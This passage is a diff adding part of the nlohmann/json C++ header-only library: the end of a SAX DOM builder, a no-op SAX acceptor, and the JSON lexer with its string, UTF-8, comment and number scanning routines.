(ref_stack.empty()) + { + root = std::move(value); + return {true, &root}; + } + + // skip this value if we already decided to skip the parent + // (https://github.com/nlohmann/json/issues/971#issuecomment-413678360) + if (!ref_stack.back()) + { + return {false, nullptr}; + } + + // we now only expect arrays and objects + JSON_ASSERT(ref_stack.back()->is_array() || ref_stack.back()->is_object()); + + // array + if (ref_stack.back()->is_array()) + { + ref_stack.back()->m_value.array->push_back(std::move(value)); + return {true, &(ref_stack.back()->m_value.array->back())}; + } + + // object + JSON_ASSERT(ref_stack.back()->is_object()); + // check if we should store an element for the current key + JSON_ASSERT(!key_keep_stack.empty()); + const bool store_element = key_keep_stack.back(); + key_keep_stack.pop_back(); + + if (!store_element) + { + return {false, nullptr}; + } + + JSON_ASSERT(object_element); + *object_element = std::move(value); + return {true, object_element}; + } + + /// the parsed JSON value + BasicJsonType& root; + /// stack to model hierarchy of values + std::vector ref_stack {}; + /// stack to manage which values to keep + std::vector keep_stack {}; + /// stack to manage which object keys to keep + std::vector key_keep_stack {}; + /// helper to hold the reference for the next object element + BasicJsonType* object_element = nullptr; + /// whether a syntax error occurred + bool errored = false; + /// callback function + const parser_callback_t callback = nullptr; + /// whether to throw exceptions in case of errors + const bool allow_exceptions = true; + /// a discarded value for the callback + BasicJsonType discarded = BasicJsonType::value_t::discarded; +}; + +template +class json_sax_acceptor +{ + public: + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + + bool null() + { + return true; + } + + bool boolean(bool /*unused*/) + { + return true; + } + + bool number_integer(number_integer_t /*unused*/) + { + return true; + } + + bool number_unsigned(number_unsigned_t /*unused*/) + { + return true; + } + + bool number_float(number_float_t /*unused*/, const string_t& /*unused*/) + { + return true; + } + + bool string(string_t& /*unused*/) + { + return true; + } + + bool binary(binary_t& /*unused*/) + { + return true; + } + + bool start_object(std::size_t /*unused*/ = std::size_t(-1)) + { + return true; + } + + bool key(string_t& /*unused*/) + { + return true; + } + + bool end_object() + { + return true; + } + + bool start_array(std::size_t /*unused*/ = std::size_t(-1)) + { + return true; + } + + bool end_array() + { + return true; + } + + bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/, const detail::exception& /*unused*/) + { + return false; + } +}; +} // namespace detail + +} // namespace nlohmann + +// #include + + +#include // array +#include // localeconv +#include // size_t +#include // snprintf +#include // strtof, strtod, strtold, strtoll, strtoull +#include // initializer_list +#include // char_traits, string +#include // move +#include // vector + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +/////////// +// lexer // +/////////// + +template +class lexer_base +{ + public: + /// token types for the parser + enum class token_type + { + uninitialized, ///< indicating the scanner is uninitialized + literal_true, ///< the `true` literal + literal_false, ///< the `false` literal + literal_null, ///< the `null` literal + value_string, ///< a string -- use get_string() for actual value + value_unsigned, ///< an unsigned integer -- use get_number_unsigned() for actual value + value_integer, ///< a signed integer -- use get_number_integer() for actual value + value_float, ///< an floating point number -- use get_number_float() for actual value + begin_array, ///< the character for array begin `[` + begin_object, ///< the character for object begin `{` + end_array, ///< the character for array end `]` + end_object, ///< the character for object end `}` + name_separator, ///< the name separator `:` + value_separator, ///< the value separator `,` + parse_error, ///< indicating a parse error + end_of_input, ///< indicating the end of the input buffer + literal_or_value ///< a literal or the begin of a value (only for diagnostics) + }; + + /// return name of values of type token_type (only used for errors) + JSON_HEDLEY_RETURNS_NON_NULL + JSON_HEDLEY_CONST + static const char* token_type_name(const token_type t) noexcept + { + switch (t) + { + case token_type::uninitialized: + return ""; + case token_type::literal_true: + return "true literal"; + case token_type::literal_false: + return "false literal"; + case token_type::literal_null: + return "null literal"; + case token_type::value_string: + return "string literal"; + case token_type::value_unsigned: + case token_type::value_integer: + case token_type::value_float: + return "number literal"; + case token_type::begin_array: + return "'['"; + case token_type::begin_object: + return "'{'"; + case token_type::end_array: + return "']'"; + case token_type::end_object: + return "'}'"; + case token_type::name_separator: + return "':'"; + case token_type::value_separator: + return "','"; + case token_type::parse_error: + return ""; + case token_type::end_of_input: + return "end of input"; + case token_type::literal_or_value: + return "'[', '{', or a literal"; + // LCOV_EXCL_START + default: // catch non-enum values + return "unknown token"; + // LCOV_EXCL_STOP + } + } +}; +/*! +@brief lexical analysis + +This class organizes the lexical analysis during JSON deserialization. +*/ +template +class lexer : public lexer_base +{ + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using char_type = typename InputAdapterType::char_type; + using char_int_type = typename std::char_traits::int_type; + + public: + using token_type = typename lexer_base::token_type; + + explicit lexer(InputAdapterType&& adapter, bool ignore_comments_ = false) + : ia(std::move(adapter)) + , ignore_comments(ignore_comments_) + , decimal_point_char(static_cast(get_decimal_point())) + {} + + // delete because of pointer members + lexer(const lexer&) = delete; + lexer(lexer&&) = default; + lexer& operator=(lexer&) = delete; + lexer& operator=(lexer&&) = default; + ~lexer() = default; + + private: + ///////////////////// + // locales + ///////////////////// + + /// return the locale-dependent decimal point + JSON_HEDLEY_PURE + static char get_decimal_point() noexcept + { + const auto* loc = localeconv(); + JSON_ASSERT(loc != nullptr); + return (loc->decimal_point == nullptr) ? '.' : *(loc->decimal_point); + } + + ///////////////////// + // scan functions + ///////////////////// + + /*! + @brief get codepoint from 4 hex characters following `\u` + + For input "\u c1 c2 c3 c4" the codepoint is: + (c1 * 0x1000) + (c2 * 0x0100) + (c3 * 0x0010) + c4 + = (c1 << 12) + (c2 << 8) + (c3 << 4) + (c4 << 0) + + Furthermore, the possible characters '0'..'9', 'A'..'F', and 'a'..'f' + must be converted to the integers 0x0..0x9, 0xA..0xF, 0xA..0xF, resp. The + conversion is done by subtracting the offset (0x30, 0x37, and 0x57) + between the ASCII value of the character and the desired integer value. + + @return codepoint (0x0000..0xFFFF) or -1 in case of an error (e.g. EOF or + non-hex character) + */ + int get_codepoint() + { + // this function only makes sense after reading `\u` + JSON_ASSERT(current == 'u'); + int codepoint = 0; + + const auto factors = { 12u, 8u, 4u, 0u }; + for (const auto factor : factors) + { + get(); + + if (current >= '0' && current <= '9') + { + codepoint += static_cast((static_cast(current) - 0x30u) << factor); + } + else if (current >= 'A' && current <= 'F') + { + codepoint += static_cast((static_cast(current) - 0x37u) << factor); + } + else if (current >= 'a' && current <= 'f') + { + codepoint += static_cast((static_cast(current) - 0x57u) << factor); + } + else + { + return -1; + } + } + + JSON_ASSERT(0x0000 <= codepoint && codepoint <= 0xFFFF); + return codepoint; + } + + /*! + @brief check if the next byte(s) are inside a given range + + Adds the current byte and, for each passed range, reads a new byte and + checks if it is inside the range. If a violation was detected, set up an + error message and return false. Otherwise, return true. + + @param[in] ranges list of integers; interpreted as list of pairs of + inclusive lower and upper bound, respectively + + @pre The passed list @a ranges must have 2, 4, or 6 elements; that is, + 1, 2, or 3 pairs. This precondition is enforced by an assertion. + + @return true if and only if no range violation was detected + */ + bool next_byte_in_range(std::initializer_list ranges) + { + JSON_ASSERT(ranges.size() == 2 || ranges.size() == 4 || ranges.size() == 6); + add(current); + + for (auto range = ranges.begin(); range != ranges.end(); ++range) + { + get(); + if (JSON_HEDLEY_LIKELY(*range <= current && current <= *(++range))) + { + add(current); + } + else + { + error_message = "invalid string: ill-formed UTF-8 byte"; + return false; + } + } + + return true; + } + + /*! + @brief scan a string literal + + This function scans a string according to Sect. 7 of RFC 7159. While + scanning, bytes are escaped and copied into buffer token_buffer. Then the + function returns successfully, token_buffer is *not* null-terminated (as it + may contain \0 bytes), and token_buffer.size() is the number of bytes in the + string. + + @return token_type::value_string if string could be successfully scanned, + token_type::parse_error otherwise + + @note In case of errors, variable error_message contains a textual + description. + */ + token_type scan_string() + { + // reset token_buffer (ignore opening quote) + reset(); + + // we entered the function by reading an open quote + JSON_ASSERT(current == '\"'); + + while (true) + { + // get next character + switch (get()) + { + // end of file while parsing string + case std::char_traits::eof(): + { + error_message = "invalid string: missing closing quote"; + return token_type::parse_error; + } + + // closing quote + case '\"': + { + return token_type::value_string; + } + + // escapes + case '\\': + { + switch (get()) + { + // quotation mark + case '\"': + add('\"'); + break; + // reverse solidus + case '\\': + add('\\'); + break; + // solidus + case '/': + add('/'); + break; + // backspace + case 'b': + add('\b'); + break; + // form feed + case 'f': + add('\f'); + break; + // line feed + case 'n': + add('\n'); + break; + // carriage return + case 'r': + add('\r'); + break; + // tab + case 't': + add('\t'); + break; + + // unicode escapes + case 'u': + { + const int codepoint1 = get_codepoint(); + int codepoint = codepoint1; // start with codepoint1 + + if (JSON_HEDLEY_UNLIKELY(codepoint1 == -1)) + { + error_message = "invalid string: '\\u' must be followed by 4 hex digits"; + return token_type::parse_error; + } + + // check if code point is a high surrogate + if (0xD800 <= codepoint1 && codepoint1 <= 0xDBFF) + { + // expect next \uxxxx entry + if (JSON_HEDLEY_LIKELY(get() == '\\' && get() == 'u')) + { + const int codepoint2 = get_codepoint(); + + if (JSON_HEDLEY_UNLIKELY(codepoint2 == -1)) + { + error_message = "invalid string: '\\u' must be followed by 4 hex digits"; + return token_type::parse_error; + } + + // check if codepoint2 is a low surrogate + if (JSON_HEDLEY_LIKELY(0xDC00 <= codepoint2 && codepoint2 <= 0xDFFF)) + { + // overwrite codepoint + codepoint = static_cast( + // high surrogate occupies the most significant 22 bits + (static_cast(codepoint1) << 10u) + // low surrogate occupies the least significant 15 bits + + static_cast(codepoint2) + // there is still the 0xD800, 0xDC00 and 0x10000 noise + // in the result so we have to subtract with: + // (0xD800 << 10) + DC00 - 0x10000 = 0x35FDC00 + - 0x35FDC00u); + } + else + { + error_message = "invalid string: surrogate U+D800..U+DBFF must be followed by U+DC00..U+DFFF"; + return token_type::parse_error; + } + } + else + { + error_message = "invalid string: surrogate U+D800..U+DBFF must be followed by U+DC00..U+DFFF"; + return token_type::parse_error; + } + } + else + { + if (JSON_HEDLEY_UNLIKELY(0xDC00 <= codepoint1 && codepoint1 <= 0xDFFF)) + { + error_message = "invalid string: surrogate U+DC00..U+DFFF must follow U+D800..U+DBFF"; + return token_type::parse_error; + } + } + + // result of the above calculation yields a proper codepoint + JSON_ASSERT(0x00 <= codepoint && codepoint <= 0x10FFFF); + + // translate codepoint into bytes + if (codepoint < 0x80) + { + // 1-byte characters: 0xxxxxxx (ASCII) + add(static_cast(codepoint)); + } + else if (codepoint <= 0x7FF) + { + // 2-byte characters: 110xxxxx 10xxxxxx + add(static_cast(0xC0u | (static_cast(codepoint) >> 6u))); + add(static_cast(0x80u | (static_cast(codepoint) & 0x3Fu))); + } + else if (codepoint <= 0xFFFF) + { + // 3-byte characters: 1110xxxx 10xxxxxx 10xxxxxx + add(static_cast(0xE0u | (static_cast(codepoint) >> 12u))); + add(static_cast(0x80u | ((static_cast(codepoint) >> 6u) & 0x3Fu))); + add(static_cast(0x80u | (static_cast(codepoint) & 0x3Fu))); + } + else + { + // 4-byte characters: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx + add(static_cast(0xF0u | (static_cast(codepoint) >> 18u))); + add(static_cast(0x80u | ((static_cast(codepoint) >> 12u) & 0x3Fu))); + add(static_cast(0x80u | ((static_cast(codepoint) >> 6u) & 0x3Fu))); + add(static_cast(0x80u | (static_cast(codepoint) & 0x3Fu))); + } + + break; + } + + // other characters after escape + default: + error_message = "invalid string: forbidden character after backslash"; + return token_type::parse_error; + } + + break; + } + + // invalid control characters + case 0x00: + { + error_message = "invalid string: control character U+0000 (NUL) must be escaped to \\u0000"; + return token_type::parse_error; + } + + case 0x01: + { + error_message = "invalid string: control character U+0001 (SOH) must be escaped to \\u0001"; + return token_type::parse_error; + } + + case 0x02: + { + error_message = "invalid string: control character U+0002 (STX) must be escaped to \\u0002"; + return token_type::parse_error; + } + + case 0x03: + { + error_message = "invalid string: control character U+0003 (ETX) must be escaped to \\u0003"; + return token_type::parse_error; + } + + case 0x04: + { + error_message = "invalid string: control character U+0004 (EOT) must be escaped to \\u0004"; + return token_type::parse_error; + } + + case 0x05: + { + error_message = "invalid string: control character U+0005 (ENQ) must be escaped to \\u0005"; + return token_type::parse_error; + } + + case 0x06: + { + error_message = "invalid string: control character U+0006 (ACK) must be escaped to \\u0006"; + return token_type::parse_error; + } + + case 0x07: + { + error_message = "invalid string: control character U+0007 (BEL) must be escaped to \\u0007"; + return token_type::parse_error; + } + + case 0x08: + { + error_message = "invalid string: control character U+0008 (BS) must be escaped to \\u0008 or \\b"; + return token_type::parse_error; + } + + case 0x09: + { + error_message = "invalid string: control character U+0009 (HT) must be escaped to \\u0009 or \\t"; + return token_type::parse_error; + } + + case 0x0A: + { + error_message = "invalid string: control character U+000A (LF) must be escaped to \\u000A or \\n"; + return token_type::parse_error; + } + + case 0x0B: + { + error_message = "invalid string: control character U+000B (VT) must be escaped to \\u000B"; + return token_type::parse_error; + } + + case 0x0C: + { + error_message = "invalid string: control character U+000C (FF) must be escaped to \\u000C or \\f"; + return token_type::parse_error; + } + + case 0x0D: + { + error_message = "invalid string: control character U+000D (CR) must be escaped to \\u000D or \\r"; + return token_type::parse_error; + } + + case 0x0E: + { + error_message = "invalid string: control character U+000E (SO) must be escaped to \\u000E"; + return token_type::parse_error; + } + + case 0x0F: + { + error_message = "invalid string: control character U+000F (SI) must be escaped to \\u000F"; + return token_type::parse_error; + } + + case 0x10: + { + error_message = "invalid string: control character U+0010 (DLE) must be escaped to \\u0010"; + return token_type::parse_error; + } + + case 0x11: + { + error_message = "invalid string: control character U+0011 (DC1) must be escaped to \\u0011"; + return token_type::parse_error; + } + + case 0x12: + { + error_message = "invalid string: control character U+0012 (DC2) must be escaped to \\u0012"; + return token_type::parse_error; + } + + case 0x13: + { + error_message = "invalid string: control character U+0013 (DC3) must be escaped to \\u0013"; + return token_type::parse_error; + } + + case 0x14: + { + error_message = "invalid string: control character U+0014 (DC4) must be escaped to \\u0014"; + return token_type::parse_error; + } + + case 0x15: + { + error_message = "invalid string: control character U+0015 (NAK) must be escaped to \\u0015"; + return token_type::parse_error; + } + + case 0x16: + { + error_message = "invalid string: control character U+0016 (SYN) must be escaped to \\u0016"; + return token_type::parse_error; + } + + case 0x17: + { + error_message = "invalid string: control character U+0017 (ETB) must be escaped to \\u0017"; + return token_type::parse_error; + } + + case 0x18: + { + error_message = "invalid string: control character U+0018 (CAN) must be escaped to \\u0018"; + return token_type::parse_error; + } + + case 0x19: + { + error_message = "invalid string: control character U+0019 (EM) must be escaped to \\u0019"; + return token_type::parse_error; + } + + case 0x1A: + { + error_message = "invalid string: control character U+001A (SUB) must be escaped to \\u001A"; + return token_type::parse_error; + } + + case 0x1B: + { + error_message = "invalid string: control character U+001B (ESC) must be escaped to \\u001B"; + return token_type::parse_error; + } + + case 0x1C: + { + error_message = "invalid string: control character U+001C (FS) must be escaped to \\u001C"; + return token_type::parse_error; + } + + case 0x1D: + { + error_message = "invalid string: control character U+001D (GS) must be escaped to \\u001D"; + return token_type::parse_error; + } + + case 0x1E: + { + error_message = "invalid string: control character U+001E (RS) must be escaped to \\u001E"; + return token_type::parse_error; + } + + case 0x1F: + { + error_message = "invalid string: control character U+001F (US) must be escaped to \\u001F"; + return token_type::parse_error; + } + + // U+0020..U+007F (except U+0022 (quote) and U+005C (backspace)) + case 0x20: + case 0x21: + case 0x23: + case 0x24: + case 0x25: + case 0x26: + case 0x27: + case 0x28: + case 0x29: + case 0x2A: + case 0x2B: + case 0x2C: + case 0x2D: + case 0x2E: + case 0x2F: + case 0x30: + case 0x31: + case 0x32: + case 0x33: + case 0x34: + case 0x35: + case 0x36: + case 0x37: + case 0x38: + case 0x39: + case 0x3A: + case 0x3B: + case 0x3C: + case 0x3D: + case 0x3E: + case 0x3F: + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4A: + case 0x4B: + case 0x4C: + case 0x4D: + case 0x4E: + case 0x4F: + case 0x50: + case 0x51: + case 0x52: + case 0x53: + case 0x54: + case 0x55: + case 0x56: + case 0x57: + case 0x58: + case 0x59: + case 0x5A: + case 0x5B: + case 0x5D: + case 0x5E: + case 0x5F: + case 0x60: + case 0x61: + case 0x62: + case 0x63: + case 0x64: + case 0x65: + case 0x66: + case 0x67: + case 0x68: + case 0x69: + case 0x6A: + case 0x6B: + case 0x6C: + case 0x6D: + case 0x6E: + case 0x6F: + case 0x70: + case 0x71: + case 0x72: + case 0x73: + case 0x74: + case 0x75: + case 0x76: + case 0x77: + case 0x78: + case 0x79: + case 0x7A: + case 0x7B: + case 0x7C: + case 0x7D: + case 0x7E: + case 0x7F: + { + add(current); + break; + } + + // U+0080..U+07FF: bytes C2..DF 80..BF + case 0xC2: + case 0xC3: + case 0xC4: + case 0xC5: + case 0xC6: + case 0xC7: + case 0xC8: + case 0xC9: + case 0xCA: + case 0xCB: + case 0xCC: + case 0xCD: + case 0xCE: + case 0xCF: + case 0xD0: + case 0xD1: + case 0xD2: + case 0xD3: + case 0xD4: + case 0xD5: + case 0xD6: + case 0xD7: + case 0xD8: + case 0xD9: + case 0xDA: + case 0xDB: + case 0xDC: + case 0xDD: + case 0xDE: + case 0xDF: + { + if (JSON_HEDLEY_UNLIKELY(!next_byte_in_range({0x80, 0xBF}))) + { + return token_type::parse_error; + } + break; + } + + // U+0800..U+0FFF: bytes E0 A0..BF 80..BF + case 0xE0: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0xA0, 0xBF, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // U+1000..U+CFFF: bytes E1..EC 80..BF 80..BF + // U+E000..U+FFFF: bytes EE..EF 80..BF 80..BF + case 0xE1: + case 0xE2: + case 0xE3: + case 0xE4: + case 0xE5: + case 0xE6: + case 0xE7: + case 0xE8: + case 0xE9: + case 0xEA: + case 0xEB: + case 0xEC: + case 0xEE: + case 0xEF: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0x80, 0xBF, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // U+D000..U+D7FF: bytes ED 80..9F 80..BF + case 0xED: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0x80, 0x9F, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // U+10000..U+3FFFF F0 90..BF 80..BF 80..BF + case 0xF0: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0x90, 0xBF, 0x80, 0xBF, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF + case 0xF1: + case 0xF2: + case 0xF3: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0x80, 0xBF, 0x80, 0xBF, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // U+100000..U+10FFFF F4 80..8F 80..BF 80..BF + case 0xF4: + { + if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({0x80, 0x8F, 0x80, 0xBF, 0x80, 0xBF})))) + { + return token_type::parse_error; + } + break; + } + + // remaining bytes (80..C1 and F5..FF) are ill-formed + default: + { + error_message = "invalid string: ill-formed UTF-8 byte"; + return token_type::parse_error; + } + } + } + } + + /*! + * @brief scan a comment + * @return whether comment could be scanned successfully + */ + bool scan_comment() + { + switch (get()) + { + // single-line comments skip input until a newline or EOF is read + case '/': + { + while (true) + { + switch (get()) + { + case '\n': + case '\r': + case std::char_traits::eof(): + case '\0': + return true; + + default: + break; + } + } + } + + // multi-line comments skip input until */ is read + case '*': + { + while (true) + { + switch (get()) + { + case std::char_traits::eof(): + case '\0': + { + error_message = "invalid comment; missing closing '*/'"; + return false; + } + + case '*': + { + switch (get()) + { + case '/': + return true; + + default: + { + unget(); + continue; + } + } + } + + default: + continue; + } + } + } + + // unexpected character after reading '/' + default: + { + error_message = "invalid comment; expecting '/' or '*' after '/'"; + return false; + } + } + } + + JSON_HEDLEY_NON_NULL(2) + static void strtof(float& f, const char* str, char** endptr) noexcept + { + f = std::strtof(str, endptr); + } + + JSON_HEDLEY_NON_NULL(2) + static void strtof(double& f, const char* str, char** endptr) noexcept + { + f = std::strtod(str, endptr); + } + + JSON_HEDLEY_NON_NULL(2) + static void strtof(long double& f, const char* str, char** endptr) noexcept + { + f = std::strtold(str, endptr); + } + + /*! + @brief scan a number literal + + This function scans a string according to Sect. 6 of RFC 7159. + + The function is realized with a deterministic finite state machine derived + from the grammar described in RFC 7159. Starting in state "init", the + input is read and used to determined the next state. Only state "done" + accepts the number. State "error" is a trap state to model errors. In the + table below, "anything" means any character but the ones listed before. + + state | 0 | 1-9 | e E | + | - | . | anything + ---------|----------|----------|----------|---------|---------|----------|----------- + init | zero | any1 | [error] | [error] | minus | [error] | [error] + minus | zero | any1 | [error] | [error] | [error] | [error] | [error] + zero | done | done | exponent | done | done | decimal1 | done + any1 | any1 | any1 | exponent | done | done | decimal1 | done + decimal1 | decimal2 | decimal2 | [error] | [error] | [error] | [error] | [error] + decimal2 | decimal2 | decimal2 | exponent | done | done | done | done + exponent | any2 | any2 | [error] | sign | sign | [error] | [error] + sign | any2 | any2 | [error] | [error] | [error] | [error] | [error] + any2 | any2 | any2 | done | done | done | done | done + + The state machine is realized with one label per state (prefixed with + "scan_number_") and `goto` statements between them. The state machine + contains cycles, but any cycle can be left when EOF is read. Therefore, + the function is guaranteed to terminate. + + During scanning, the read bytes are stored in token_buffer. This string is + then converted to a signed integer, an unsigned integer, or a + floating-point number. + + @return token_type::value_unsigned, token_type::value_integer, or + token_type::value_float if number could be successfully scanned, + token_type::parse_error otherwise + + @note The scanner is independent of the current locale. Internally, the + locale's decimal point is used instead of `.` to work with the + locale-dependent converters. + */ + token_type scan_number() // lgtm [cpp/use-of-goto] + { + // reset token_buffer to store the number's bytes + reset(); + + // the type of the parsed number; initially set to unsigned; will be + // changed if minus sign, decimal point or exponent is read + token_type number_type = token_type::value_unsigned; + + // state (init): we just found out we need to scan a number + switch (current) + { + case '-': + { + add(current); + goto scan_number_minus; + } + + case '0': + { + add(current); + goto scan_number_zero; + } + + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any1; + } + + // all other characters are rejected outside scan_number() + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + +scan_number_minus: + // state: we just parsed a leading minus sign + number_type = token_type::value_integer; + switch (get()) + { + case '0': + { + add(current); + goto scan_number_zero; + } + + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any1; + } + + default: + { + error_message = "invalid number; expected digit after '-'"; + return token_type::parse_error; + } + } + +scan_number_zero: + // state: we just parse a zero (maybe with a leading minus sign) + switch (get()) + { + case '.': + { + add(decimal_point_char); + goto scan_number_decimal1; + } + + case 'e': + case 'E': + { + add(current); + goto scan_number_exponent; + } + + default: + goto scan_number_done; + } + +scan_number_any1: + // state: we just parsed a number 0-9 (maybe with a leading minus sign) + switch (get()) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any1; + } + + case '.': + { + add(decimal_point_char); + goto scan_number_decimal1; + } + + case 'e': + case 'E': + { + add(current); + goto scan_number_exponent; + } + + default: + goto scan_number_done; + } + +scan_number_decimal1: + // state: we just parsed a decimal point + number_type = token_type::value_float; + switch (get()) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_decimal2; + } + + default: + { + error_message = "invalid number; expected digit after '.'"; + return token_type::parse_error; + } + } + +scan_number_decimal2: + // we just parsed at least one number after a decimal point + switch (get()) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_decimal2; + } + + case 'e': + case 'E': + { + add(current); + goto scan_number_exponent; + } + + default: + goto scan_number_done; + } + +scan_number_exponent: + // we just parsed an exponent + number_type = token_type::value_float; + switch (get()) + { + case '+': + case '-': + { + add(current); + goto scan_number_sign; + } + + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any2; + } + + default: + { + error_message = + "invalid number; expected '+', '-', or digit after exponent"; + return token_type::parse_error; + } + } + +scan_number_sign: + // we just parsed an exponent sign + switch (get()) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any2; + } + + default: + { + error_message = "invalid number; expected digit after exponent sign"; + return token_type::parse_error; + } + } + +scan_number_any2: + // we just parsed a number after the exponent or exponent sign + switch (get()) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + add(current); + goto scan_number_any2; + } + + default: + goto scan_number_done; + } + +scan_number_done: + // unget the character after the number (we only read it to know that + // we are done scanning a number) + unget(); + + char* endptr = nullptr; + errno = 0; + + // try to parse integers first and fall back to floats + if (number_type == token_type::value_unsigned) + { + const auto x = std::strtoull(token_buffer.data(), &endptr, 10); + + // we checked the number format before + JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size()); + + if (errno == 0) + { + value_unsigned = static_cast(x); + if (value_unsigned == x) + { + return token_type::value_unsigned; + } + } + } + else if (number_type == token_type::value_integer) + { + const auto x = std::strtoll(token_buffer.data(), &endptr, 10); + + // we checked the number format before + JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size()); + + if (errno == 0) + { + value_integer = static_cast(x); + if (value_integer == x) + { + return token_type::value_integer; + } + } + } + + // this code is reached if we parse a floating-point number or if an + // integer conversion above failed + strtof(value_float, token_buffer.data(), &endptr); + + // we checked the number format before + JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size()); + + return token_type::value_float; + } + + /*! + @param[in] literal_text the literal text to expect + @param[in] length the length of the passed literal text + @param[in] return_type the token type to return on success + */ + JSON_HEDLEY_NON_NULL(2) + token_type scan_literal(const char_type* literal_text, const std::size_t length, + token_type return_type) + { + JSON_ASSERT(std::char_traits::to_char_type(current) == literal_text[0]); + for (std::size_t i = 1; i < length; ++i) + { + if (JSON_HEDLEY_UNLIKELY(std::char_traits::to_char_type(get()) != literal_text[i])) + { + error_message = "invalid literal"; + return token_type::parse_error; + } + } + return return_type; + } + + ///////////////////// + // input management + ///////////////////// + + /// reset token_buffer; current character is beginning of token + void reset() noexcept + { + token_buffer.clear(); + token_string.clear(); + token_string.push_back(std::char_traits::to_char_type(current)); + } + + /* + @brief get next character from the input + + This function provides the interface to the used input adapter. It does + not throw in case the input reached EOF, but returns a + `std::char_traits::eof()` in that case. Stores the scanned characters + for use in error messages. + + @return character read from the input + */ + char_int_type get() + { + ++position.chars_read_total; + ++position.chars_read_current_line; + + if (next_unget) + { + // just reset the next_unget variable and work with current + next_unget = false; + } + else + { + current = ia.get_character(); + } + + if (JSON_HEDLEY_LIKELY(current != std::char_traits::eof())) + { + token_string.push_back(std::char_traits::to_char_type(current)); + } + + if (current == '\n') + { + ++position.lines_read; + position.chars_read_current_line = 0; + } + + return current; + } + + /*! + @brief unget current character (read it again on next get) + + We implement unget by setting variable next_unget to true. The input is not + changed - we just simulate ungetting by modifying chars_read_total, + chars_read_current_line, and token_string. The next call to get() will + behave as if the unget character is read again. + */ + void unget() + { + next_unget = true; + + --position.chars_read_total; + + // in case we "unget" a newline, we have to also decrement the lines_read + if (position.chars_read_current_line == 0) + { + if (position.lines_read > 0) + { + --position.lines_read; + } + } + else + { + --position.chars_read_current_line; + } + + if (JSON_HEDLEY_LIKELY(current != std::char_traits::eof())) + { + JSON_ASSERT(!token_string.empty()); + token_string.pop_back(); + } + } + + /// add a character to token_buffer + void add(char_int_type c) + { + token_buffer.push_back(static_cast(c)); + } + + public: + ///////////////////// + // value getters + ///////////////////// + + /// return integer value + constexpr number_integer_t get_number_integer() const noexcept + { + return value_integer; + } + + /// return unsigned integer value + constexpr number_unsigned_t get_number_unsigned() const noexcept + { + return value_unsigned; + } + + /// return floating-point value + constexpr number_float_t get_number_float() const noexcept + { + return value_float; + } + + /// return current string value (implicitly resets the token; useful only once) + string_t& get_string() + { + return token_buffer; + } + + ///////////////////// + // diagnostics + ///////////////////// + + /// return position of last read token + constexpr position_t get_position() const noexcept + { + return position; + } + + /// return the last read token (for errors only). Will never contain EOF + /// (an arbitrary value that is not a valid char value, often -1), because + /// 255 may legitimately occur. May contain NUL, which should be escaped. + std::string get_token_string() const + { + // escape control characters + std::string result; + for (const auto c : token_string) + { + if (static_cast(c) <= '\x1F') + { + // escape control characters + std::array cs{{}}; + (snprintf)(cs.data(), cs.size(), "", static_cast(c)); + result += cs.data(); + } + else + { + // add character as is + result.push_back(static_cast(c)); + } + } + + return result; + } + + /// return syntax error message + JSON_HEDLEY_RETURNS_NON_NULL + constexpr const char* get_error_message() const noexcept + { + return error_message; + } + + ///////////////////// + // actual scanner + ///////////////////// + + /*! + @brief skip the UTF-8 byte order mark + @return true iff there is no BOM or the correct BOM has been skipped + */ + bool skip_bom() + { + if (get() == 0xEF) + { + // check if we completely parse the BOM + return get() == 0xBB && get() == 0xBF; + } + + // the first character is not the beginning of the BOM; unget it to + // process is later + unget(); + return true; + } + + void skip_whitespace() + { + do + { + get(); + } + while (current == ' ' || current == '\t' || current == '\n' || current == '\r'); + } + + token_type scan() + { + // initially, skip the BOM + if (position.chars_read_total == 0 && !skip_bom()) + { + error_message = "invalid BOM; must be 0xEF 0xBB 0xBF if given"; + return token_type::parse_error; + } + 